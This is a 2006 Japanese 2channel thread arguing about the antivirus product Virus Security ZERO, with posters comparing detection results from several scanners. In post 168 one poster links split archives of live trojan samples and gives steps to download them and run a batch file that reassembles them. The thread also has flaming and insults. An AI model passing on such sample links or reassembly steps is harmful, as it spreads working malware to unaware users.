だからさ〜、アンチって一纏めにして基地外集団みたいに言うなっつ〜の。
根拠となるデータ、情報が全くの捏造なら話も分かるけど、ほとんど事実じゃない。
それを言われて基地外扱いは如何なモンじゃね〜の?

言いたい事があるなら、きちんとデータ・ソースを示せばいいじゃん。ねっ!
是非見せて!


114 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:04:57
>>113
俺の環境では感染もないし不具合もない。これをどうやってデータにしろというのだ
には笑った

115 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:05:12
事実、このスレにウイルスを仕込むようなキチガイばかりじゃんw

116 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:07:54
事実、VSだとあっさり感染するし

117 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:09:08
>>116
とうとう、アンチがVSつぶしのために、ウイルスをばらまいていると
白状したか

118 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:09:38
このスレのどこにウイルスが仕込んであるんだ?

119 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:10:49
今日も面白いのが沸いてるなwwwwwwwwwww

120 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:11:39
>>117

VS使ってて感染したって言ってんだよ。日本語大丈夫?

121 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:12:04
>面白いのが沸いてるな

確かに。119みたいな奴、な

122 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:12:47
各種セキュリティソフトを比較したサイトが多数あります。

“セキュリティソフト 比較” で検索でもしてみてください。

これなら公平でしょ。VSの評価が高いサイトなんて(ry

まだ購入していない人は是非購入する前に検索を!


123 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:13:38
このスレにも、アンチが面白がってばらまいているな
VSだと感染する、となめてんだろうが・・・

124 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:17:08
感染した

125 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:18:30
気の毒に。
せめてVSくらい買える身分になろうよ

126 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:19:38
どうでもいいからどこにウイルスが仕込んであるのかさっさと言えよ。

127 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:19:43
ひょっとして、ここのアンチはウイルスセキュリティを買う金もないのか?

128 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:19:55
【亀田】ウイルスセキュリティZERO【亀田】

129 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:20:27
お気の毒!

130 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:20:57
VS入っててだよ。

オンラインチェックなり、フリーのSpybotなり使ってチェックしましょう。
感染にさえ気付いていない人も多いんじゃないかな。

131 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:23:18
>>130
だから、危ないエロサイトなどに行くなっていうんだ。
そんなに行きたいなら、まあ止めないけどな

132 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:23:32
>>126
他のスレで踏んだウイルスがここで張られた物だと思い込んでるんじゃねえの
信者の知能なんてそんなもんだろ

133 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:27:35
広めたのを暴露され、それを相手のせいにするアンチ必死!

134 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:29:00
VSを潰すためなら、何でもやるさ・・・
何しろ生活が、かかってンだからな

135 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:31:56


VSの不具合・低性能など不利益な事実を突きつけられると皆アンチ扱い!

で、言っていることはというと小学生の負け惜しみ程度w

全くもって、データ、根拠の一つも示せないVS低脳保護班www

136 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:32:42
ついにアンチの捨て台詞

137 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:34:01
>>136
こういうのを小学生の負け惜しみみたいだと言っているのに…

本当に低…(ry

138 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:36:03
おまいら

  お  も  ろ  い  な  




139 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:36:41
>>137
そういう書き込みで同レベル認定だ

140 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:38:10
>>139
食い付いてきた君も同レベル認定だ

141 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:39:08

ここは、そういうスレだからなー

142 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:42:17
真面目な話は本スレ、煽り,釣りを楽しむのはZEROスレだと思ってたが、
最近は空気嫁無い人が多いから困る

143 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:42:18


“セキュリティソフト 比較”で検索を薦める擁護派はいないという現実

144 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:46:29
http://internet.watch.impress.co.jp/cda/news/2006/09/01/13165.html
http://www.rbbtoday.com/news/20060629/31904.html
日本でのアドウェア感染1位はここ3ヶ月連続でWinAntiVirusPro
で、ウイルスセキュリティはWinAntiVirusPro未対応
スパイウェア対応を歌っているならせめて感染率の高いアドウェアくらい検出して欲しいところ

145 :名無しさん@お腹いっぱい。:2006/09/03(日) 18:10:14
晒しage

146 :名無しさん@お腹いっぱい。:2006/09/03(日) 19:57:35
>>75
どこみればいいの?
ランキングみたいなのをみたいです。

147 :名無しさん@お腹いっぱい。:2006/09/03(日) 20:01:16
>>146
参加していないので見たいと言ってももK7の姿はない

148 :名無しさん@お腹いっぱい。:2006/09/03(日) 20:11:17
今、vsスレで面白いことやってます。
アップされたウィルスをそれぞれの使用しているアンチウィルス
でスキャンして結果報告するってもの。
興味のある方は是非ご参加を

149 :名無しさん@お腹いっぱい。:2006/09/03(日) 20:11:38
みんなわくわく地盤沈下

150 :名無しさん@お腹いっぱい。:2006/09/03(日) 20:58:13


VS板でのウイルス検出テストで面白い結果が!!

VSのザル具合が改めて証明されてしまいました。

さあ、いつもの擁護派の方、反論をどうぞ!!!!!

151 :名無しさん@お腹いっぱい。:2006/09/03(日) 21:16:06


擁護派の方、いつもの勢いがありませんね。
現実を目の当たりにしてぐうの音も出ませんか?

さあ、弁明を!!!!!

152 :名無しさん@お腹いっぱい。:2006/09/03(日) 21:16:45
晒しage

153 :名無しさん@お腹いっぱい。:2006/09/03(日) 21:21:38
今夜は「ウィルスセキュリティーPart23」のスレが熱い!


 

154 :名無しさん@お腹いっぱい。:2006/09/03(日) 21:29:01
ノートンオンラインスキャン

87 個の感染ファイルが検出されました。

WScript.KakWorm
VBS.LoveLetter.A
Bloodhound.Exploit.6
Unix.Penguin
VBS.Freelink.B
VBS.LoveLetter.Var
Macro.src

全部2chログ

155 :名無しさん@お腹いっぱい。:2006/09/03(日) 21:31:18

どうした?
今まであれだけアンチが粘着だキチガイだ根拠がないと言っていた連中よ!

何か言いたいことは無いのか?

これでVAの低性能とともに擁護派の糞のような実態も証明されたわけだ。


これが現実

156 :名無しさん@お腹いっぱい。:2006/09/03(日) 21:34:24
2chで叩いても意味なくね?
2ch見てる人なんて少数なんだから。

157 :名無しさん@お腹いっぱい。:2006/09/03(日) 21:34:43
煽りイク(・A・)ナイ!!
黙って蔑んだ視線で見てあげましょう

158 :名無しさん@お腹いっぱい。:2006/09/03(日) 21:35:47
>>156
でもいろんなHPに出ている数値を参考にするより面白いでしょ。

159 :名無しさん@お腹いっぱい。:2006/09/03(日) 21:40:02
今頃、対策会議でもしてんじゃね?

現実的にこういう結果が出てしまったので対策の打ちようが無いかも知れないけど

160 :名無しさん@お腹いっぱい。:2006/09/03(日) 21:43:38
明日あたりファイル更新あるかな?wwwww

161 :名無しさん@お腹いっぱい。:2006/09/03(日) 21:46:35
アンチはあんまり調子に乗ってると痛い目にあうかもしれんね。

162 :名無しさん@お腹いっぱい。:2006/09/03(日) 21:47:33
安っぽい台詞ktkr

163 :名無しさん@お腹いっぱい。:2006/09/03(日) 21:49:42
>>161
どんな?脅しですか?夜道に気をつけろ見たいな感じですか?

164 :名無しさん@お腹いっぱい。:2006/09/03(日) 23:32:03
痛い目に合うと予測できるのは、VSゼロをインストして安心してる奴らだろw

165 :名無しさん@お腹いっぱい。:2006/09/04(月) 00:37:48
【ソース】ウイルスセキュリティ Part23【K7】で能力検定中!



166 :名無しさん@お腹いっぱい。:2006/09/04(月) 01:13:25
笑うのはアンチと言われる連中の方がデータを色々と出してくるのに対し
擁護してる連中はただ単に良いとか安いとか客観的な事しか言えない。

中には検出力は関係無いみたいな事を言っている者がいるが
万が一ウイルスが素通りしてPC不良、データ類の破損
最悪個人情報流出に繋がったらどうするつもりだろうね?

167 :名無しさん@お腹いっぱい。:2006/09/04(月) 01:15:26
祝!!

1000げっとだぜ!

168 : ◆dQnFz0hmq. :2006/09/04(月) 01:16:14
ウイルス検体

http://www.dotup.org/uploda/www.dotup.org8179.zip.html
http://www.dotup.org/uploda/www.dotup.org8181.zip.html
http://www.dotup.org/uploda/www.dotup.org8183.zip.html
http://www.dotup.org/uploda/www.dotup.org8185.zip.html
http://www.dotup.org/uploda/www.dotup.org8187.zip.html
http://www.dotup.org/uploda/www.dotup.org8188.zip.html
http://www.dotup.org/uploda/www.dotup.org8189.zip.html
http://www.dotup.org/uploda/www.dotup.org8190.zip.html

DLしたファイルをすべて解凍して出てきたファイルを下の図のように同じフォルダに入れてください
図:http://www.dotup.org/uploda/www.dotup.org8191.png

最後のアーカイブにが結合バッチが入っていますのでバッチを実行してください ZIPファイルが生成されます

169 :名無しさん@お腹いっぱい。:2006/09/04(月) 01:18:31
他のスレまで行ってこの低レベルなテストを宣伝するのやめてくれねぇかなぁ

170 :名無しさん@お腹いっぱい。:2006/09/04(月) 01:18:49

・注意事項  
必要以上の馴れ合いは慎しんでください
暴言や第3者を不快にさせるような発言はやめましょう
悪質な削除要請や自己中心的な発言はひかえましょう
人間的モラルやルール・ネットマナーに反した発言はやめましょう
犯罪の恐れがあるものをみつけたら通報しましょう。
都道府県警察本部のハイテク犯罪相談窓口
http://www.npa.go.jp/cyber/soudan.htm

171 :名無しさん@お腹いっぱい。:2006/09/04(月) 01:19:03
ウイルスセキュリティだと怖くて検査できないな・・・w

172 :名無しさん@お腹いっぱい。:2006/09/04(月) 01:21:15
NOD32 Kaspersky6beta Antivir Bitdefender
でスキャン実験してきた。

ログとSSまとめたZIP
ttp://www.uploda.org/uporg504148.zip.html

スクリーンショット
NOD32
http://www.imgup.org/iup256303.png.html
antivir
http://www.imgup.org/iup256299.png.html
bitdefender
http://www.imgup.org/iup256300.png.html
kaspersky
http://www.imgup.org/iup256301.png.html


173 :名無しさん@お腹いっぱい。:2006/09/04(月) 01:21:31
Kaspresky Internet Security 6.0 Beta
Version 6.0.1.379

Protection
----------
Total scanned:6902
Detected:308
Untreated:2

174 : ◆dQnFz0hmq. :2006/09/04(月) 01:22:29
>>170

 >犯罪の恐れがあるものをみつけたら通報しましょう。

やば・・・ まぁ いちようReadme.txtで悪用するなとかいてあるし。。。ギリギリかな

175 :名無しさん@お腹いっぱい。:2006/09/04(月) 01:22:38
>>170
逆だよ
感染したら犯罪に巻き込まれるだろ

176 :名無しさん@お腹いっぱい。:2006/09/04(月) 01:22:42
       ∧  ∧
       |1/ |1/
     / ̄ ̄ ̄`ヽ、
    /        ヽ
   /  ⌒  ⌒    |
   | (●) (●)   |
   /          |
  /           |
 {            |
  ヽ、       ノ  |
   ``ー――‐''"   |
    /          |
   |          | |
   .|        |  | |
   .|        し,,ノ |
1559個スキャンしたら、394個見つかったようです。

177 :名無しさん@お腹いっぱい。:2006/09/04(月) 01:24:41
VB2007β「ウイルス検索」

vir:26 ファイル中 残 8 オブジェクト検出カウント 22
vir2:36 ファイル中 残 10 オブジェクト検出カウント 72
vir3:42 ファイル中 残 10 オブジェクト検出カウント 51
vir4:90 ファイル中 残 28 オブジェクト検出カウント 127

2006とほぼ変わらず

残ファイルを全て解凍し「スパイウェア検索」
解凍するとゴミが多いのでフォルダ数でカウント

vir:8 フォルダ中スパイウェアが含まれていたフォルダの数 2
vir2:10 フォルダ中スパイウェアが含まれていたフォルダの数 2
vir3:10 フォルダ中スパイウェアが含まれていたフォルダの数 1
vir4:28 フォルダ中スパイウェアが含まれていたフォルダの数 2

178 :名無しさん@お腹いっぱい。:2006/09/04(月) 01:26:51
そろそろ誰か
結果をまとめてほしいな

179 :名無しさん@お腹いっぱい。:2006/09/04(月) 01:27:28





まったく擁護班が出てこないw

かなりワロスwwwwwww









180 :名無しさん@お腹いっぱい。:2006/09/04(月) 01:31:39
          ____   
       / \  /\ キリッ
.     / (ー)  (ー)\     まったく擁護班が出てこないw
    /   ⌒(__人__)⌒ \
    |      |r┬-|    |    かなりワロスwwwwwww
     \     `ー'´   /
    ノ            \
  /´               ヽ              
 |    l              \
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、.    
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))



          ____
        /_ノ  ヽ、_\
 ミ ミ ミ  o゚((●)) ((●))゚o      ミ ミ ミ
/⌒)⌒)⌒. ::::::⌒(__人__)⌒:::\   /⌒)⌒)⌒)    だっておwww
| / / /     |r┬-|    | (⌒)/ / / //    おまいらギリギリだぞwww
| :::::::::::(⌒)    | |  |   /  ゝ  :::::::::::/        いいのか?www
|     ノ     | |  |   \  /  )  /        いいのか?www
ヽ    /     `ー'´      ヽ /    /     バ
 |    |   l||l 从人 l||l      l||l 从人 l||l  バ   ン
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、    ン
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))



181 :名無しさん@お腹いっぱい。:2006/09/04(月) 01:33:05
>>172

あんたの、その仕事っぷり・・・見事なり( ̄ー ̄)☆キラーン!

182 :名無しさん@お腹いっぱい。:2006/09/04(月) 01:34:49
>>180

こんなのしか出てこない。

183 :名無しさん@お腹いっぱい。:2006/09/04(月) 01:36:49
このスレは、間違えてVSを買ってしまった羊達を、諭すスレです。

184 :名無しさん@お腹いっぱい。:2006/09/04(月) 01:38:43
AAで荒らすのが限界か
なんか不憫だな

185 : ◆dQnFz0hmq. :2006/09/04(月) 01:39:14
フリーのスパイウェア検出ソフトAd-Aware SE Personalでの結果

http://www.dotup.org/uploda/www.dotup.org8200.png

186 :名無しさん@お腹いっぱい。:2006/09/04(月) 01:45:37
>>184
確かに。。。苦笑するしかないって感じだね。

擁護班の昨日の勢いは何処へ行ったものか

187 :名無しさん@お腹いっぱい。:2006/09/04(月) 01:47:04
>>180

    自画像か?w

188 :名無しさん@お腹いっぱい。:2006/09/04(月) 01:51:26
アルバイトの工作員もVSを使ってないから試せないのだろう。

189 :名無しさん@お腹いっぱい。:2006/09/04(月) 01:55:36
対応されてきたらだめだから、まとめたり比較するなら
今日の朝ぐらいまでのデータじゃないとだめだね。


190 : ◆dQnFz0hmq. :2006/09/04(月) 01:56:09
やっぱりウイルスにはウイルス対策ソフトじゃないと検出できないのか、

WindowsDefinder
http://www.dotup.org/uploda/www.dotup.org8202.png


191 :名無しさん@お腹いっぱい。:2006/09/04(月) 01:59:10
>>190
Windows Live のはどうだろう。
ttp://safety.live.com/site/ja-JP/default.htm

192 : ◆dQnFz0hmq. :2006/09/04(月) 02:03:04
>>191
ActiveXを増やすのには抵抗があるがこの際やってみよう

193 :名無しさん@お腹いっぱい。:2006/09/04(月) 02:05:44
>>190
そりゃアンチスパイなんだからお門違いだろう
しかもお前が用意したのはトロイだぞ?

194 :名無しさん@お腹いっぱい。:2006/09/04(月) 02:07:33
>>192
よろです。
フルスキャンは長いのでウイルススキャンのプロテクトだけでOKですよ。

195 :名無しさん@お腹いっぱい。:2006/09/04(月) 02:18:15
ノートンとバスターとマカフィーの結果だれかよろ

196 :名無しさん@お腹いっぱい。:2006/09/04(月) 02:32:31
ういるすきらぁハローキティ18.42.42
ファイル数 1597
ウイルス数 261

197 : ◆dQnFz0hmq. :2006/09/04(月) 02:38:36
Windows Live の結果
http://www.dotup.org/uploda/www.dotup.org8209.png
http://www.dotup.org/uploda/www.dotup.org8210.png
http://www.dotup.org/uploda/www.dotup.org8211.png

レポートのテキストがコピーできなかった

198 :名無しさん@お腹いっぱい。:2006/09/04(月) 02:42:50
ういるすきらぁハローキティ18.42.42
http://www5.axfc.net/uploader/90/so/No_3829.png.html

199 :名無しさん@お腹いっぱい。:2006/09/04(月) 02:51:21
VB2006
検索ファイル数173
検出数255
SSは撮ってない

200 :名無しさん@お腹いっぱい。:2006/09/04(月) 03:02:42
さて寝るか

201 :名無しさん@お腹いっぱい。:2006/09/04(月) 03:06:41
ノートン2004
http://www.vipper.org/vip329322.jpg.html

202 :名無しさん@お腹いっぱい。:2006/09/04(月) 03:08:07
>>189
ウイルスセキュリティなめすぎ
半年経っても対応なんかされんよ

203 : ◆dQnFz0hmq. :2006/09/04(月) 03:16:03
>>202
ごもっともですねぇ

 俺がVS使うのやめた理由

 ・ 検出能力低すぎ
 ・ アップデートが週1回(AntiVirは1日5回以上)
 ・ ユーザー登録が面倒
 ・ 起動時に毎回ポップアップが出る=ウイルス?
 ・ ネット接続のトラブル多発


204 :名無しさん@お腹いっぱい。:2006/09/04(月) 03:33:34
あとデフォルトのウイルス強制隔離がうざい
消すか残すかぐらい確認取れよ。誤検出したときも強制隔離。アホか

205 :名無しさん@お腹いっぱい。:2006/09/04(月) 04:08:57
ZERO使って、定期的にWindows Live OneCareでスキャン・除去じゃだめ?
初心者だからよくわからないけど・・・
http://safety.live.com/site/ja-JP/default.htm

206 :名無しさん@お腹いっぱい。:2006/09/04(月) 04:37:37
>>205
ZEROに金出すならF-secuかkaspe買えって

207 :名無しさん@お腹いっぱい。:2006/09/04(月) 04:43:02
せめてVistaが出るまで買うのは控えた方がいいと思うけどね
なにをやらかすか分からんよ
MS標準のセキュリティをK7が超えられるのかという問題もあるし

208 :名無しさん@お腹いっぱい。:2006/09/04(月) 05:06:16
Vistaが出てすぐにOS変えるユーザーってどれほどいるんだろうね

209 :名無しさん@お腹いっぱい。:2006/09/04(月) 06:48:18
ずっとこのスレ読んで分かったことは、VSユーザは物好きか 大場か者ってことですね

210 :名無しさん@お腹いっぱい。:2006/09/04(月) 06:52:55
VSの検査結果の画像、誰かUPよろ。

211 :名無しさん@お腹いっぱい。:2006/09/04(月) 07:28:38
>>203
> ・ アップデートが週1回(AntiVirは1日5回以上)

…マジ?

212 :名無しさん@お腹いっぱい。:2006/09/04(月) 07:32:23
>アップデートが週1回
マジ
ただ定義ファイル更新が3回になったとの書き込みはあったが、何処にもソースは出てない

213 :名無しさん@お腹いっぱい。:2006/09/04(月) 07:36:14
週一回はユーザーに負担をかけない素晴らしい配慮と言える。

214 :名無しさん@お腹いっぱい。:2006/09/04(月) 07:39:00
VSユーザー240万人もいるのか。
低価格だけで購入した人って結構いるんだな。

215 :名無しさん@お腹いっぱい。:2006/09/04(月) 07:39:30
9月から週3回になった。


216 :名無しさん@お腹いっぱい。:2006/09/04(月) 08:02:32
>>240
逆に言うと無知、素人が24(ry

217 :名無しさん@お腹いっぱい。:2006/09/04(月) 08:03:57
いけね>>214だ テヘ♪

218 :名無しさん@お腹いっぱい。:2006/09/04(月) 08:48:51
◆dQnFz0hmq.は馬鹿だな。
http://pc8.2ch.net/test/read.cgi/sec/1155768807/990

新エンジンでの再検査の結果、バスターの検出率が上がった記事を見落としてやがる。
http://ratan.dyndns.info/avast4/2006-05torenndomaikuro.html

219 :名無しさん@お腹いっぱい。:2006/09/04(月) 09:36:57
みんなわくわく地盤沈下

220 :名無しさん@お腹いっぱい。:2006/09/04(月) 10:35:48
>>197
サンクス(゚∀゚ )♪Windows Liveの検査結果に興味があったので☆


221 :名無しさん@お腹いっぱい。:2006/09/04(月) 11:57:59
VSの検査結果の画像、誰かUPよろ。

222 :名無しさん@お腹いっぱい。:2006/09/04(月) 12:08:30
検出結果があまりにもアレだから
誰も出せないかもw

223 :名無しさん@お腹いっぱい。:2006/09/04(月) 12:50:28
なんでウィンドウズの更新にお前の許可なんか求めにゃならんのじゃ

224 :名無しさん@お腹いっぱい。:2006/09/04(月) 13:25:06
安さで選ぶんなら
フリーの方がいいがある

225 :名無しさん@お腹いっぱい。:2006/09/04(月) 14:03:23
>>168の検体ってさ、全部なんらかのトロイが仕込んであるの?

226 :名無しさん@お腹いっぱい。:2006/09/04(月) 14:24:34
>>225
トロイ入ってたよ☆(ダウソしたzip内には)
でも、仕込みとは違うと思う☆(仕込み=釣りとか悪意の行為の為の意味の場合)
だってあれ、ウィルスチェック用にUPされたやつだし☆
おれもダウソしてチェックしたけど、なかなか面白かったよ☆

by NOD32使用者

227 :名無しさん@お腹いっぱい。:2006/09/04(月) 14:25:24
uza

228 :名無しさん@お腹いっぱい。:2006/09/04(月) 14:32:21
検出されなかったやつは検体として送るってのはやっちゃダメなんかな

229 :名無しさん@お腹いっぱい。:2006/09/04(月) 14:56:11
>>212
結局あれは何だったんだろうな
根拠もソースもない情報に信者ははしゃいでたけど

230 :名無しさん@お腹いっぱい。:2006/09/04(月) 15:08:39
>>211
マジだよ

231 :名無しさん@お腹いっぱい。:2006/09/04(月) 15:13:59
このソフトは楽天および価格COMで売り上げナンバー1です。

232 :名無しさん@お腹いっぱい。:2006/09/04(月) 15:14:57
VS 検査結果
ttp://new1314.freespace.jp/log/up/log/1760.jpg

233 :名無しさん@お腹いっぱい。:2006/09/04(月) 15:41:30
>>228
いんじゃないの☆

例のダウソしたやつ、あとでじっくり見て、未知のやつ、ハケ-ンしたら
NOD32に送信するお☆

234 :名無しさん@お腹いっぱい。:2006/09/04(月) 15:44:38
uzakimoi

235 :名無しさん@お腹いっぱい。:2006/09/04(月) 16:00:51
tasikani☆

236 :名無しさん@お腹いっぱい。:2006/09/04(月) 16:44:10
>>234
omaegana

237 : ◆dQnFz0hmq. :2006/09/04(月) 17:11:54
だたいま学校から帰ってきましたー

238 :名無しさん@お腹いっぱい。:2006/09/04(月) 17:16:10
>>234=uzakimoi

>>235>>233

>>236=nice

239 :名無しさん@お腹いっぱい。:2006/09/04(月) 17:17:32
>>237
おっかえり〜★

240 : ◆dQnFz0hmq. :2006/09/04(月) 17:18:59
横文字が並んでるけど 何があったんだ?

241 :名無しさん@お腹いっぱい。:2006/09/04(月) 17:27:39
>>240
本スレで異変が・・・

242 : ◆dQnFz0hmq. :2006/09/04(月) 17:59:06

正直言ってVSは結構売れた、  その利益をパターンファイル増やすなり、バグを枯らすなりするために使うべきだろう




243 :名無しさん@お腹いっぱい。:2006/09/04(月) 18:09:10
ういるすきらぁハローキティ18.43.01
ファイル数 1631
ウイルス数 261
なんでファイル総数だけ増えるんだYO!

244 :名無しさん@お腹いっぱい。:2006/09/04(月) 18:22:36
>>240
いやね、なんだかわからない内に横文字合戦になりかけてたわけ☆┐(´▽`)┌

245 :名無しさん@お腹いっぱい。:2006/09/04(月) 18:25:46
>>243
う〜ん、ういるすきらぁハローキティ、謎ですな〜(ドユコト?汗

p.s.
おれ、北斗の拳バージョン入れてた(藁

246 :名無しさん@お腹いっぱい。:2006/09/04(月) 18:44:07
>>244





これでいいですか?

247 :名無しさん@お腹いっぱい。:2006/09/04(月) 18:53:28
>>246
あんた・・・よっぽどきもい人が好きなんだなぁー

(フツウ、キモイ相手ハ、スルースルゼ?)

248 : ◆dQnFz0hmq. :2006/09/04(月) 19:08:15

      とりあえず 落 ち 着 け

249 :名無しさん@お腹いっぱい。:2006/09/04(月) 19:19:45
>>248 ナイス(≧∇≦)b

250 :名無しさん@お腹いっぱい。:2006/09/04(月) 19:49:00
いいさ、ここでアンチたちが勝手な叩きをやっていても。

ウイルスセキュリティZEROが、
多くの人たちの環境で立派に使えているという真実は、
たとえアンチが何をたくらもうと消えやしない。
アンチは、高いソフトを使えばいい。
ウイルスセキュリティが役立つ人は、これまで通り使えばいい。

ただ、それだけのことさ。

251 :名無しさん@お腹いっぱい。:2006/09/04(月) 19:57:52
大手は性能で勝負してシェアを上げてきて、まさに正統派なんだよね。
VSは低価格と広告戦略でシェアを上げてきて正統派とは言えない。
大手は価格競争に巻き込まれるしね。
アンチはそれが気に入らないんだよね。
でもシェアを上げてきたVSもこれからは社会的な影響も考えて性能アップをはかるんじゃないかな。

大手は性能戦略から価格戦略へ。

VSは価格戦略から性能戦略へ。

252 :名無しさん@お腹いっぱい。:2006/09/04(月) 20:26:04
ヒント 履歴の更新もできない件

253 :名無しさん@お腹いっぱい。:2006/09/04(月) 21:03:45
いよいよ

ソースネクストの時代がやってきた!

ウイルスセキュリティを使う人も
どんどん、どんどん
増えています。
すばらしい!


254 :名無しさん@お腹いっぱい。:2006/09/04(月) 21:08:59
問題はどれくらいの人数が『使い続ける』かだよなwwwww

255 :名無しさん@お腹いっぱい。:2006/09/04(月) 21:13:01
ウイルスセキュリティは、とても使いやすいですよ。
パソコンに初めてさわる人でも安心して使えますよ。

256 :名無しさん@お腹いっぱい。:2006/09/04(月) 21:28:08
いま、ふと考えた・・・

なぜゆえにウイルスセキュリティ信奉派?は、どんなにけなされても

「ウイルスセキュリティ最高!」

的な反応なのだろうか?と・・・

・・・もしや、ほんとはウイルスセキュリティなど微塵も興味もなく

「みんなを釣りまくる為に選んだ最高のエサ」

としての価値しか見出していないのではないか?・・・汗

だとすると、とんでもなく空恐ろしい”釣り師”だということだ!!!



257 :名無しさん@お腹いっぱい。:2006/09/04(月) 21:29:24
すばらしい、ウイルスセキュリティのサービス。
同業他社の工作員が何とかして、つぶそうとするはずですね。

失業するかどうかの瀬戸際ですからね。醜いアンチ工作です。

258 :名無しさん@お腹いっぱい。:2006/09/04(月) 21:35:22
思わず、自分のことを激白する256www

259 :名無しさん@お腹いっぱい。:2006/09/04(月) 21:40:07
>>258
痛いところをつかれましたなぁー(ノ´∀`*)エヘ

260 :名無しさん@お腹いっぱい。:2006/09/04(月) 21:41:24


今日は釣り人が多く出てるね、でも、あまり釣れてないみたい!!!

VSを本気で擁護する奴なんていやしないからね。

社員と工作員は別としてねwww

261 :名無しさん@お腹いっぱい。:2006/09/04(月) 21:42:28
256、氏ね!

262 :名無しさん@お腹いっぱい。:2006/09/04(月) 21:43:18
>>256
これ以上、煽るな!!

263 :名無しさん@お腹いっぱい。:2006/09/04(月) 21:43:43
256=260

264 :名無しさん@お腹いっぱい。:2006/09/04(月) 21:44:42
釣り荒ら氏は、てめえじゃねーか!!
カス!
消えろ!!

265 :名無しさん@お腹いっぱい。:2006/09/04(月) 21:46:29
161 名前:名無しさん@お腹いっぱい。[] 投稿日:2006/09/03(日) 21:46:35
アンチはあんまり調子に乗ってると痛い目にあうかもしれんね。

161 名前:名無しさん@お腹いっぱい。[] 投稿日:2006/09/03(日) 21:46:35
アンチはあんまり調子に乗ってると痛い目にあうかもしれんね。

161 名前:名無しさん@お腹いっぱい。[] 投稿日:2006/09/03(日) 21:46:35
アンチはあんまり調子に乗ってると痛い目にあうかもしれんね。

161 名前:名無しさん@お腹いっぱい。[] 投稿日:2006/09/03(日) 21:46:35
アンチはあんまり調子に乗ってると痛い目にあうかもしれんね。

161 名前:名無しさん@お腹いっぱい。[] 投稿日:2006/09/03(日) 21:46:35
アンチはあんまり調子に乗ってると痛い目にあうかもしれんね。


266 :名無しさん@お腹いっぱい。:2006/09/04(月) 21:47:42
>>263
ハズレです。その等式は成り立ちません。

>>264
さっそく釣れてしまった?特に釣る気も無かったんだが。。。

267 :名無しさん@お腹いっぱい。:2006/09/04(月) 21:48:42
>特に釣る気も無かったんだが。。。

一人で得意になってる馬鹿

268 :名無しさん@お腹いっぱい。:2006/09/04(月) 21:49:25
>>267
負け惜しみ乙

269 :名無しさん@お腹いっぱい。:2006/09/04(月) 21:52:52
しつこいぞ!釣り師
いつまでも一つのスレに粘着してないで、
次の漁場にでも逝ってこい!

270 :名無しさん@お腹いっぱい。:2006/09/04(月) 21:54:37
>>161
国分「その書き込みした時ってどんな気分だった?」


271 :名無しさん@お腹いっぱい。:2006/09/04(月) 21:56:51
国分寺に行った気分だった

272 :名無しさん@お腹いっぱい。:2006/09/04(月) 21:58:08
ウイルス検出されなくて安心してたんだけど、トレンドマイクロのオンラインスキャンやったらウイルスだらけだった
もう絶対こんなソフト使わない

273 :名無しさん@お腹いっぱい。:2006/09/04(月) 22:02:59
>>261
もちろん死にます☆寿命尽きたら゙(≧∇≦)b

>>262
おれの予想、そんなに煽ってた?(^^;ただ、ふと思いついたコトを言ったのだが・・・スマソ

>>263
それ、違うよ☆>>256>>259だよ☆微笑

>>264
おれ、釣り師じゃなく>>256で発言したとおり「釣られた側」ニャンデスケド(^^;


274 :名無しさん@お腹いっぱい。:2006/09/04(月) 22:05:20
【オンラインスキャンだよ】
トレンドマイクロ
http://www.trendmicro.co.jp/hcall/index.asp
カスペルスキー
http://www.kaspersky.co.jp/scanforvirus/
シマンテック
http://www.symantec.com/region/jp/securitycheck/

何か見つかるかもよ



275 :名無しさん@お腹いっぱい。:2006/09/04(月) 22:05:44
スレが伸びるだけソフトの糞さが露呈するだけ。信者は削除依頼でも出してくればw?

276 :名無しさん@お腹いっぱい。:2006/09/04(月) 22:10:18
なにこの良スレ

277 :名無しさん@お腹いっぱい。:2006/09/04(月) 22:24:03
本スレ見てきたけどたかだが204体の検出で擁護派的には合格らしいね。
キングでさえ270体の検出なのに。

278 :名無しさん@お腹いっぱい。:2006/09/04(月) 22:25:28
>>277
キングに日本のソフトが負けてるってことはあんまり自慢できることではないな

279 :名無しさん@お腹いっぱい。:2006/09/04(月) 22:26:26
>>277

低検出・・・。それがSNクオリティ

280 :名無しさん@お腹いっぱい。:2006/09/04(月) 22:28:12
「他の半分以下の検出率」という理想的なキャッチコピーが
使いにくくなった点において、アンチ的には失敗と言える。

281 :名無しさん@お腹いっぱい。:2006/09/04(月) 22:29:32
>>278
うん!あんた、明日の日本を背負って生きる人だよ!

282 :名無しさん@お腹いっぱい。:2006/09/04(月) 22:30:13
>>278
日本のソフト? そんなもの無い。

283 :名無しさん@お腹いっぱい。:2006/09/04(月) 22:30:53
VSは高いか安いか

